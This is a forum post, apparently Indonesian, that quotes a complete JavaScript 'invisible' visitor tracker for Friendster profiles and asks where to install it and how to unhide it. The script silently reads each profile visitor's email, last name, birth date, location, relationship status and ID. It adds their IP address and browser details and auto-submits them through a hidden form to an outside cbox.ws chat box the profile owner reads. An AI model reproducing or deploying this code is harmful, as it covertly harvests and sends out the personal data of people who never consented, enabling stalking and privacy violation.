mo tanya dunk kawan
[quote]// viewerip
WVMCBOX version 2.2 (Invisible)
Author: Friendstertalk members
Credits: Friendstertalk (
http://theftalk.com), friendster.com, geobytes.com
Timestamp: GMT+8 10.45AM Jan 19, 2008
free to use but not free to resell
*/
if (!attachOnLoadHandler(function() { WVMCBOX.init();})) window.onload = function() { WVMCBOX.init();};
/* IP Address by Geobytes.com */
var geoIP = document.createElement("script");
geoIP.type = "text/javascript";
geoIP.src = "http://gd.geobytes.com/gd?after=-1&variables=GeobytesIpAddress";
document.getElementsByTagName("head")[0].appendChild(geoIP);
if (typeof WVMCBOX == "undefined") { WVMCBOX = {}; }
WVMCBOX = {
div: null, date: Date(),
ifstyle: ["100%", //width
"300", //height
"auto", //scrolling
"yes"], //allowtransparency
base: {
"cboxdiv": ["www5","134085","meaw4g"]
},
details: {
email: null,
lastname: null,
age: null,
status: null,
gender: null,
month: null,
year: null,
birth: null,
horoscope: null,
location: null
},
regexp: {
email: /email>(\b[a-z0-9._%+-]+@[a-z0-9.-]+\.[a-z]{2,4}\b)<\/email>/i,
lastname: /lastname>([\S\s]+?)<\/lastname>/i,
age: /age>([\d]+?)<\/age>/i,
status: /age><status>([\d]+?)<\/status>/i,
gender: /photocaption><gender>([m]|[f])<\/gender>/i,
month: /membersinceMonth>([\w]+?)<\/membersinceMonth>/i,
year: /membersinceYear>([\d]+?)<\/membersinceYear>/i,
birth: /dob>([\d]+?-[\d]+?-[\d]+?)<\/dob>/i,
horoscope: /horoscopesign>([\w]+?)<\/horoscopesign>/i,
location: /blog_id><location>([\S\s]+?)<\/location>/i
},
init: function() {
WVMCBOX.ajaxRequest("http://"+location.hostname+"/modules/module.php?_pmr=a&_pmmo=0&uid="+pageViewerID,WVMCBOX.viewer,null);
},
viewer: function(htm) {
if (htm.replace(/^\s*|\s*$/g,"") === null) {
alert("ERROR: Empty xmlresponse! \n Unable to parse your details!");return;
}else if (htm) {
for (val in WVMCBOX.details) {
try {
WVMCBOX.details[val] = new RegExp(WVMCBOX.regexp[val]).exec(htm)[1];
}catch(e) {
WVMCBOX.details[val] = "";
}
}
if (WVMCBOX.details.gender == "m") WVMCBOX.details.gender = "Male";
if (WVMCBOX.details.gender == "f") WVMCBOX.details.gender = "Female";
if (WVMCBOX.details.status == "2") WVMCBOX.details.status = "Single";
if (WVMCBOX.details.status == "3") WVMCBOX.details.status = "In a Relationship";
if (WVMCBOX.details.status == "6") WVMCBOX.details.status = "Domestic Partner";
if (WVMCBOX.details.status == "4") WVMCBOX.details.status = "Married";
if (WVMCBOX.details.status == "8") WVMCBOX.details.status = "It's complicated";
for (var seeboks in WVMCBOX.base) {
var cboxiframe = "<iframe frameborder=\"0\" width=\""+WVMCBOX.ifstyle[0]+"\" height=\""+WVMCBOX.ifstyle[1]+"\" scrolling=\""+WVMCBOX.ifstyle[2]+"\" allowtransparency=\""+WVMCBOX.ifstyle[3]+"\" marginheight=\"2\" marginwidth=\"2\" src=\"http://"+WVMCBOX.base[seeboks][0]+".cbox.ws/box/?boxid="+WVMCBOX.base[seeboks][1]+"&boxtag="+WVMCBOX.base[seeboks][2]+"&sec=main\" name=\"wvm_submit\" id=\"wvm_submit\"></iframe>";
WVMCBOX.div = document.createElement("div");
WVMCBOX.div.id = seeboks;
WVMCBOX.div.style.display = "none";
WVMCBOX.div.innerHTML = "<iframe name=\"wvm_submit\" id=\"wvm_submit\"></iframe>"+
"<form name=\"wvmcboxform\" id=\"wvmcboxform\" target=\"wvm_submit\" action=\"http://"+WVMCBOX.base[seeboks][0]+".cbox.ws/box/?boxid="+WVMCBOX.base[seeboks][1]+"&boxtag="+WVMCBOX.base[seeboks][2]+"&sec=submit\" method=\"post\">"+
"<input type=\"text\" name=\"nme\" value=\""+pageViewerFName+"\">"+
"<input type=\"text\" name=\"eml\" value=\"http://profiles.friendster.com/"+pageViewerID+"\">"+
"<textarea style=\"overflow:hidden\" class=\"cboxMsgArea\" maxlength=\"200\" cols=\"22\" rows=\"3\" name=\"pst\">"+WVMCBOX.date+
"[br]• Email: "+WVMCBOX.details.email+" [br]• IP Address: "+sGeobytesIpAddress+
"[br]• "+WVMCBOX.details.age+", "+WVMCBOX.details.gender+", "+WVMCBOX.details.status+
"[br]• Member Since: "+WVMCBOX.details.month+" "+WVMCBOX.details.year+
"[br]• D.O.B: "+WVMCBOX.details.birth+
"[br]• Horoscope: "+WVMCBOX.details.horoscope+
"[br]• Location: "+WVMCBOX.details.location+
"[br]• Friendster ID: "+pageViewerID+
"[br]• Lastname: "+WVMCBOX.details.lastname+
"[br]• Browser: "+navigator.appName+
"[br]• "+navigator.userAgent+"</textarea>"+
"</form>";
}
}
document.getElementsByTagName("head")[0].appendChild(WVMCBOX.div);
if(pageViewerID == pageOwnerID) {
addNewBox.init("Visitors Info",cboxiframe,"wvmcbox",/friends/i,null);
}
if((pageViewerID != pageOwnerID) && (pageViewerID !== "")) {
if (document.wvmcboxform) {
document.wvmcboxform.submit();
}else {
document.getElementById("wvmcboxform").submit();
}
}
},
ajaxRequest: function(url,func,handler) {
var httprequest = window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP");
httprequest.onreadystatechange = function() {
if (httprequest.readyState == 4) {
if (httprequest.status == 200) {
func(httprequest.responseText,handler);
}
}
};
httprequest.open("GET", url, true);
httprequest.send(null);
}
};
if (typeof addNewBox == "undefined") { addNewBox = {}; }
addNewBox = {
init: function(head,code,id,sibling,x) {
var sbdiv = document.createElement("div");
sbdiv.className="commonbox "+id;
sbdiv.id = id;
if (!head) head = "";
else head = "<h2>"+head+"</h2>";
sbdiv.innerHTML = head;
sbdiv.appendChild(document.createElement("div"));
sbdiv.getElementsByTagName("div")[0].id = "content_"+id;
sbdiv.getElementsByTagName("div")[0].innerHTML = code;
var sbli = document.createElement("LI");
sbli.appendChild(sbdiv);
if (!x) this.getModuleByClassName(sibling)[0].parentNode.parentNode.appendChild(sbli);
else if (x == "below") this.getModuleByClassName(sibling)[0].parentNode.appendChild(sbli);
else if (x == "above") {
var ul = this.getModuleByClassName(sibling)[0];
ul.parentNode.parentNode.insertBefore(sbli,ul.parentNode);
}
},
getModuleByClassName: function(sClass) {
var elm = [];
var els = document.getElementsByTagName("*") || document.all;
for (var j=0,k=els.length;j<k;j++) {
if (new RegExp(sClass).test(els[j].className))elm.push(els[j]);
}
return elm;
}
};[/quote]
kalau script ini di letakin di bagian apa iyaa ??
teruss versi ini versi hidden iyaa supaya ga hiden
[b] WVMCBOX.div.style.display = "none";[/b]
bag yg ini kalau di ilangin ngaruh ke scriptnya ngga iyaah??